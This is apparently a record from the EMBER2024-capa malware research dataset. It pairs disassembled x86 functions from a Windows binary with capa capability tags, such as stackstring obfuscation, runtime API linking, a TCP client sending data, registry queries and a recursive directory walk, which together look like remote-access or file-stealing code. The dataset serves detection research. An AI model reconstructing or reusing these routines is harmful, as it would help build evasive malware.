joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4074d2
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4276ac
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x2c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
mov dword [eax], 0x4058b4
mov dword [ebp - 4], 0
mov byte [ebp - 0x28], 0x57
mov byte [ebp - 0x27], 0x61
mov byte [ebp - 0x26], 0x69
mov byte [ebp - 0x25], 0x74
mov byte [ebp - 0x24], 0x46
mov byte [ebp - 0x23], 0x6f
mov byte [ebp - 0x22], 0x72
mov byte [ebp - 0x21], 0x53
mov byte [ebp - 0x20], 0x69
mov byte [ebp - 0x1f], 0x6e
mov byte [ebp - 0x1e], 0x67
mov byte [ebp - 0x1d], 0x6c
mov byte [ebp - 0x1c], 0x65
mov byte [ebp - 0x1b], 0x4f
mov byte [ebp - 0x1a], 0x62
mov byte [ebp - 0x19], 0x6a
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x63
mov byte [ebp - 0x16], 0x74
mov byte [ebp - 0x15], 0
lea ecx, [ebp - 0x28]
push ecx
push 0x401814
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 1
mov edx, 1
test edx, edx
je 0x407592
mov dword [ebp - 0x2c], 0x11
push 0x427c68
lea eax, [ebp - 0x2c]
push eax
call sub.MSVCRT.dll__CxxThrowException
jmp 0x4075ad
mov dword [ebp - 4], 0
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax + 0x10]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x30], edx
cmp dword [ebp - 0x30], 0
je 0x4075e8
push 1
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov edx, dword [eax]
call dword [edx]
mov dword [ebp - 0x3c], eax
jmp 0x4075ef
mov dword [ebp - 0x3c], 0
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x38]
call fcn.00410865
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407e60
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4276fd
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x19c
mov dword [ebp - 0x1a8], ecx
mov ecx, dword [ebp - 0x1a8]
add ecx, 4
call fcn.00407830
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x1a8]
add ecx, 0x2c
call fcn.00407830
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x1a8]
add ecx, 0x54
call fcn.00407830
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x1a8]
add ecx, 0x7c
call fcn.00407830
mov eax, dword [ebp - 0x1a8]
mov dword [eax], 0x4058c8
lea ecx, [ebp - 0x19c]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov edx, dword [ebp - 0x1a8]
mov dword [edx + 0xac], eax
mov eax, dword [ebp - 0x1a8]
mov byte [eax + 0xb5], 0
mov ecx, dword [ebp - 0x1a8]
mov dword [ecx + 0xa8], 0xffffffff
mov byte [ebp - 0x1a4], 0x41
mov byte [ebp - 0x1a3], 0x5a
mov byte [ebp - 0x1a2], 0x56
mov byte [ebp - 0x1a1], 0x41
mov byte [ebp - 0x1a0], 0x5a
push 5
lea edx, [ebp - 0x1a4]
push edx
mov eax, dword [ebp - 0x1a8]
add eax, 0xb0
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x40804a
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x28], ecx
mov ecx, dword [ebp - 0x28]
call fcn.004085fb
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax + 0xac]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov edx, dword [ebp - 0x28]
mov byte [edx + 0xb5], 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, dword [ebp - 0x28]
mov dword [ecx + 0xa8], eax
mov dword [ebp - 0x18], 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x4080ab
xor al, al
jmp 0x408180
mov word [ebp - 0x10], 2
mov ax, word [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
mov dword [ebp - 0xc], ecx
push 0x10
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax + 0xa8]
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4080ef
xor al, al
jmp 0x408180
mov byte [ebp - 0x14], 1
push 1
lea edx, [ebp - 0x14]
push edx
push 8
push 0xffff
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax + 0xa8]
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x408150
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x20], 0xea60
mov dword [ebp - 0x1c], 0x1388
push 0
push 0
lea edx, [ebp - 0x14]
push edx
push 0
push 0
push 0xc
lea eax, [ebp - 0x24]
push eax
push 0x98000004
mov ecx, dword [ebp - 0x28]
mov edx, dword [ecx + 0xa8]
push edx
call dword [sym.imp.WS2_32.dll_WSAIoctl]
mov eax, dword [ebp - 0x28]
mov byte [eax + 0xb5], 1
push 1
push 0
push 0
mov ecx, dword [ebp - 0x28]
push ecx
push 0x408186
push 0
push 0
call fcn.0041e612
add esp, 0x1c
mov edx, dword [ebp - 0x28]
mov dword [edx + 0xa4], eax
mov al, 1
mov esp, ebp
pop ebp
ret 8

Function at 0x4085fb
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov word [ebp - 4], 1
mov word [ebp - 2], 0
push 4
lea eax, [ebp - 4]
push eax
push 0x80
push 0xffff
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0xa8]
push edx
call dword [sym.imp.WS2_32.dll_setsockopt]
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0xa8]
push ecx
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0
mov edx, dword [ebp - 8]
add edx, 0xb5
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0xa8]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0xac]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, dword [ebp - 8]
mov dword [ecx + 0xa8], 0xffffffff
mov esp, ebp
pop ebp
ret
Function at 0x40884f
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0xf
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
jmp 0x40888b
mov edx, dword [ebp - 4]
sub edx, dword [ebp + 0x10]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0x10]
jb 0x408922
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x18], 0
jmp 0x4088b7
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 0x10]
jge 0x4088f5
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x28]
mov eax, dword [edx + 0xa8]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x4088eb
mov dword [ebp - 0x1c], 0
jmp 0x4088f5
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4088ae
cmp dword [ebp - 0x1c], 1
jne 0x408903
or eax, 0xffffffff
jmp 0x4089aa
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 8]
add edx, dword [ebp + 0x10]
mov dword [ebp - 8], edx
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x408882
cmp dword [ebp - 4], 0
jle 0x40899a
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x20], 0
jmp 0x408948
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 0x10]
jge 0x408986
push 0
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x28]
mov edx, dword [ecx + 0xa8]
push edx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x40897c
mov dword [ebp - 0x24], 0
jmp 0x408986
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40893f
cmp dword [ebp - 0x24], 1
jne 0x408991
or eax, 0xffffffff
jmp 0x4089aa
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [ebp + 0xc]
jne 0x4089a7
mov eax, dword [ebp - 0x14]
jmp 0x4089aa
or eax, 0xffffffff
mov esp, ebp
pop ebp
ret 0xc

Function at 0x408a00
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [ebp + 8], 0
jne 0x408a10
xor eax, eax
jmp 0x408a6a
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
je 0x408a28
mov eax, dword [ebp - 0x14]
jmp 0x408a6a
mov dword [ebp - 0x10], 0
xor ecx, ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], ecx
push 0x10
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
push eax
lea eax, [ebp - 0x10]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 4
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
push edx
lea eax, [ebp - 0x14]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret
Function at 0x408b84
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push edi
mov byte [ebp - 0x184], 0
mov ecx, 0x1f
xor eax, eax
lea edi, [ebp - 0x183]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x80
push 0
lea eax, [ebp - 0x184]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x401844
lea ecx, [ebp - 0x104]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
lea edx, [ebp - 0x188]
push edx
push 0xf003f
push 0
lea eax, [ebp - 0x104]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x408c35
mov dword [ebp - 0x190], 0xc8
lea ecx, [ebp - 0x190]
push ecx
lea edx, [ebp - 0x184]
push edx
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x401874
mov ecx, dword [ebp - 0x188]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x188]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x401880
lea eax, [ebp - 0x184]
push eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x408c7d
push 0x401888
lea ecx, [ebp - 0x184]
push ecx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x408c7d
push 0x401890
lea edx, [ebp - 0x184]
push edx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x408c84
mov eax, 1
jmp 0x408c86
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x40a232
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
push ebx
push esi
push edi
mov dword [ebp - 0x238], ecx
push 0x401950
push 0x40195c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 0x24], 0x41
mov byte [ebp - 0x23], 0x44
mov byte [ebp - 0x22], 0x56
mov byte [ebp - 0x21], 0x41
mov byte [ebp - 0x20], 0x50
mov byte [ebp - 0x1f], 0x49
mov byte [ebp - 0x1e], 0x33
mov byte [ebp - 0x1d], 0x32
mov byte [ebp - 0x1c], 0x2e
mov byte [ebp - 0x1b], 0x64
mov byte [ebp - 0x1a], 0x6c
mov byte [ebp - 0x19], 0x6c
mov byte [ebp - 0x18], 0
push 0x40196c
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28], eax
push 0x401980
lea ecx, [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x12c], eax
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x130], 0x100
mov dword [ebp - 8], 0x100
mov edx, dword [ebp - 0x238]
cmp dword [edx + 0x14], 0
jne 0x40a307
xor eax, eax
jmp 0x40a3a1
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x234]
push edx
lea eax, [ebp - 0x130]
push eax
lea ecx, [ebp - 0x128]
push ecx
mov edx, dword [ebp - 0x238]
mov eax, dword [edx + 0x14]
push eax
push 0
call dword [ebp - 0x28]
test eax, eax
jne 0x40a33b
xor eax, eax
jmp 0x40a3a1
lea ecx, [ebp - 0x128]
push ecx
call dword [ebp - 0x12c]
test eax, eax
jne 0x40a350
xor eax, eax
jmp 0x40a3a1
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xc], eax
push 0x40198c
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40a394
lea ecx, [ebp - 0x134]
push ecx
lea edx, [ebp - 0x128]
push edx
call dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
push eax
call dword [ebp - 4]
mov eax, dword [ebp - 0x134]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a8e3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
mov dword [ebp - 0x4c], ecx
mov byte [ebp - 0x20], 0x41
mov byte [ebp - 0x1f], 0x44
mov byte [ebp - 0x1e], 0x56
mov byte [ebp - 0x1d], 0x41
mov byte [ebp - 0x1c], 0x50
mov byte [ebp - 0x1b], 0x49
mov byte [ebp - 0x1a], 0x33
mov byte [ebp - 0x19], 0x32
mov byte [ebp - 0x18], 0x2e
mov byte [ebp - 0x17], 0x64
mov byte [ebp - 0x16], 0x6c
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], 0
push 0x401a58
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x48], eax
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x401a70
lea ecx, [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x40], eax
push 0x401a80
lea edx, [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
push 0x18
push 0
lea eax, [ebp - 0x38]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 8]
push ecx
push 4
lea edx, [ebp - 0x38]
push edx
push 0
call dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
je 0x40a9a8
xor eax, eax
jmp 0x40a9eb
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x4c]
call fcn.0040a9f4
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [ebp - 0x48]
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
je 0x40a9d4
xor eax, eax
jmp 0x40a9eb
mov edx, dword [ebp - 8]
push edx
call dword [ebp - 4]
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
je 0x40a9e8
xor eax, eax
jmp 0x40a9eb
mov eax, dword [ebp - 0x3c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x40aaa8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
push ebx
push esi
push edi
mov dword [ebp - 0x14c], ecx
mov byte [ebp - 0x10], 0x41
mov byte [ebp - 0xf], 0x44
mov byte [ebp - 0xe], 0x56
mov byte [ebp - 0xd], 0x41
mov byte [ebp - 0xc], 0x50
mov byte [ebp - 0xb], 0x49
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x64
mov byte [ebp - 6], 0x6c
mov byte [ebp - 5], 0x6c
mov byte [ebp - 4], 0
push 0x401acc
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x44], eax
mov ecx, dword [0x401adc]
mov dword [ebp - 0x40], ecx
mov edx, dword [0x401ae0]
mov dword [ebp - 0x3c], edx
mov eax, dword [0x401ae4]
mov dword [ebp - 0x38], eax
mov ecx, dword [0x401ae8]
mov dword [ebp - 0x34], ecx
mov dx, word [0x401aec]
mov word [ebp - 0x30], dx
mov al, byte [0x401aee]
mov byte [ebp - 0x2e], al
mov ecx, 6
mov esi, 0x401af0
lea edi, [ebp - 0x2c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x14c]
call fcn.0040a232
push eax
lea ecx, [ebp - 0x40]
push ecx
lea edx, [ebp - 0x144]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x14c]
call fcn.0040a8e3
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0
je 0x40abca
mov ecx, dword [ebp - 0x148]
mov dx, word [ecx]
push edx
mov eax, dword [ebp - 0x148]
mov ecx, dword [eax + 4]
push ecx
mov ecx, dword [ebp - 0x14c]
call fcn.0040ac1b
mov edx, dword [ebp - 0x148]
mov eax, dword [edx + 4]
push eax
call dword [ebp - 0x44]
lea ecx, [ebp - 0x2c]
push ecx
mov ecx, dword [ebp - 0x14c]
call fcn.0040a8e3
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0
je 0x40ac14
mov edx, dword [ebp - 0x148]
mov ax, word [edx]
push eax
mov ecx, dword [ebp - 0x148]
mov edx, dword [ecx + 4]
push edx
mov ecx, dword [ebp - 0x14c]
call fcn.0040ac1b
mov eax, dword [ebp - 0x148]
mov ecx, dword [eax + 4]
push ecx
call dword [ebp - 0x44]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40c770
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x470
push ebx
push esi
push edi
mov dword [ebp - 0x470], ecx
push 0x401edc
push 0x401ee8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x14], eax
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x401ef8
push 0x401f0c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
push 0x401f1c
push 0x401f28
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
push 0x401f38
push 0x401f48
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
push 0x401f58
push 0x401f68
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x1c], 0x25
mov byte [ebp - 0x1b], 0x73
mov byte [ebp - 0x1a], 0x5c
mov byte [ebp - 0x19], 0x2a
mov byte [ebp - 0x18], 0x2e
mov byte [ebp - 0x17], 0x2a
mov byte [ebp - 0x16], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x264]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x160]
push eax
lea ecx, [ebp - 0x264]
push ecx
call dword [ebp - 0x20]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x40c867
xor al, al
jmp 0x40c936
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x134]
cmp edx, 0x2e
je 0x40c8ec
mov eax, dword [ebp - 0x160]
and eax, 0x10
test eax, eax
je 0x40c8c2
lea ecx, [ebp - 0x134]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x401f78
lea eax, [ebp - 0x368]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x368]
push ecx
mov ecx, dword [ebp - 0x470]
call fcn.0040c770
jmp 0x40c8ec
lea edx, [ebp - 0x134]
push edx
mov eax, dword [ebp + 8]
push eax
push 0x401f80
lea ecx, [ebp - 0x46c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [ebp - 0x46c]
push edx
call dword [ebp - 0x14]
lea eax, [ebp - 0x160]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [ebp - 8]
test eax, eax
jne 0x40c875
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0xc]
push edx
call dword [ebp - 0x10]
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 4]
test eax, eax
jne 0x40c934
xor al, al
jmp 0x40c936
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x40ce33
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov dword [ebp - 0x44], ecx
mov byte [ebp - 0x1c], 0x43
mov byte [ebp - 0x1b], 0x6c
mov byte [ebp - 0x1a], 0x6f
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x48
mov byte [ebp - 0x16], 0x61
mov byte [ebp - 0x15], 0x6e
mov byte [ebp - 0x14], 0x64
mov byte [ebp - 0x13], 0x6c
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x1c]
push eax
push 0x402100
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
push 0x402110
push 0x40211c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x34], eax
push 0x40212c
push 0x402138
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x30], eax
push 0x402148
push 0x402154
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
push 0x402164
push 0x402170
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x24], eax
push 0x402180
push 0x40218c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], 0
push 0x104
push 0
mov ecx, dword [ebp - 0x44]
add ecx, 0x20
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x44]
add eax, 0x20
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
push 0
push 0x80
push 3
push 0
push 1
push bind
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 0x34]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xffffffff
jne 0x40cf60
xor eax, eax
jmp 0x40cffb
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp - 0x3c]
push eax
call dword [ebp - 0x30]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x3c]
push ecx
call dword [ebp - 0xc]
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 0x2c]
add eax, 0xa
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
push 0x40
call dword [ebp - 8]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x10]
push ecx
push 0
mov edx, dword [ebp - 0x20]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [ebp - 0x20]
mov byte [eax], 0x69
mov ecx, dword [ebp - 0x20]
add ecx, 1
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x40]
mov eax, dword [ebp - 4]
mov dword [edx], eax
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x38]
mov dword [ecx + 4], edx
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x2c]
add eax, 1
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x20]
add edx, 9
push edx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
mov ecx, dword [ebp - 0x44]
call fcn.00410893
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x20]
push edx
call dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov esp, ebp
pop ebp
ret 4